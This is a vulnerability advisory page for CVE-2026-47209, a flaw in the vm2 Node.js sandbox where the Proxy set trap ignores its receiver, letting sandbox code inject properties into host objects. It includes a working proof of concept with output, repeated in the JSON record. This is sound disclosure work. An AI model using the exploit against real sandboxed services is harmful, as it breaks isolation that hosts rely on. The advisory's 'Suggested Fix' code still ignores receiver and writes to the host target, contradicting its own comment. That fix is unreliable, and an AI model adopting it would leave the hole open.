GHSA-C4CF-2HGV-2QV6
Vulnerability from github – Published: 2026-05-29 17:49 – Updated: 2026-06-12 19:30
VLAI
Summary
vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain
Details
Summary
The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.
This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.
Vulnerable Code
// bridge.js:1231-1260
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
// ...
try {
value = otherFromThis(value);
return otherReflectSet(object, key, value) === true;
// BUG: 'receiver' is never used.
// Should check if receiver !== proxy and handle accordingly.
} catch (e) {
throw thisFromOtherForThrow(e);
}
}
Impact
Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side
Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'
Reproduction
const { VM } = require('vm2');
const util = require('util');
const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);
vm.run(`
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFn);
child[kCustom] = function() {
return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
};
`);
// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG
Suggested Fix
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
return this.setPrototypeOf(target, value);
}
if (key === 'constructor' && thisArrayIsArray(object)) {
thisReflectSet(target, key, value);
return true;
}
try {
value = otherFromThis(value);
// When receiver is not the proxy itself, set on receiver (this-realm)
// instead of the host target to preserve prototype-chain semantics.
return otherReflectSet(object, key, value) === true;
} catch (e) {
throw thisFromOtherForThrow(e);
}
}
Severity
8.6 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.3"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47209"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T17:49:18Z",
"nvd_published_at": "2026-06-12T15:16:28Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**.\n\nThis bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path.\n\n## Vulnerable Code\n\n```javascript\n// bridge.js:1231-1260\nset(target, key, value, receiver) {\n validateHandlerTarget(this, target);\n const object = getHandlerObject(this);\n if (isProtectedHostObject(object)) throw new VMError(OPNA);\n // ...\n try {\n value = otherFromThis(value);\n return otherReflectSet(object, key, value) === true;\n // BUG: \u0027receiver\u0027 is never used.\n // Should check if receiver !== proxy and handle accordingly.\n } catch (e) {\n throw thisFromOtherForThrow(e);\n }\n}\n```\n\n## Impact\n\nSandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:\n\n```javascript\n// Sandbox code\nconst child = Object.create(hostObj);\nchild.injectedProp = \u0027attacker-value\u0027;\n// hostObj now has \u0027injectedProp\u0027 on the HOST side\n```\n\nCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:\n\n```javascript\nconst kCustom = Symbol.for(\u0027nodejs.util.promisify.custom\u0027);\nconst child = Object.create(hostFunction);\nchild[kCustom] = function() {\n return Promise.resolve(\u0027attacker-controlled\u0027);\n};\n// Host: util.promisify(hostFunction)() returns \u0027attacker-controlled\u0027\n```\n\n## Reproduction\n\n```javascript\nconst { VM } = require(\u0027vm2\u0027);\nconst util = require(\u0027util\u0027);\n\nconst vm = new VM();\nconst hostFn = function api(cb) { cb(null, \u0027ok\u0027); };\nvm.setGlobal(\u0027hostFn\u0027, hostFn);\n\nvm.run(`\n const kCustom = Symbol.for(\u0027nodejs.util.promisify.custom\u0027);\n const child = Object.create(hostFn);\n child[kCustom] = function() {\n return Promise.resolve(\u0027EXPLOITED-VIA-RECEIVER-BUG\u0027);\n };\n`);\n\n// Host side\nconst promisified = util.promisify(hostFn);\npromisified(\u0027test\u0027).then(r =\u003e console.log(r));\n// Output: EXPLOITED-VIA-RECEIVER-BUG\n```\n\n## Suggested Fix\n\n```javascript\nset(target, key, value, receiver) {\n validateHandlerTarget(this, target);\n const object = getHandlerObject(this);\n if (isProtectedHostObject(object)) throw new VMError(OPNA);\n if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n if (key === \u0027__proto__\u0027 \u0026\u0026 !thisOtherHasOwnProperty(object, key)) {\n return this.setPrototypeOf(target, value);\n }\n if (key === \u0027constructor\u0027 \u0026\u0026 thisArrayIsArray(object)) {\n thisReflectSet(target, key, value);\n return true;\n }\n try {\n value = otherFromThis(value);\n // When receiver is not the proxy itself, set on receiver (this-realm)\n // instead of the host target to preserve prototype-chain semantics.\n return otherReflectSet(object, key, value) === true;\n } catch (e) {\n throw thisFromOtherForThrow(e);\n }\n}\n```",
"id": "GHSA-c4cf-2hgv-2qv6",
"modified": "2026-06-12T19:30:05Z",
"published": "2026-05-29T17:49:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47209"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "vm2\u0027s Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…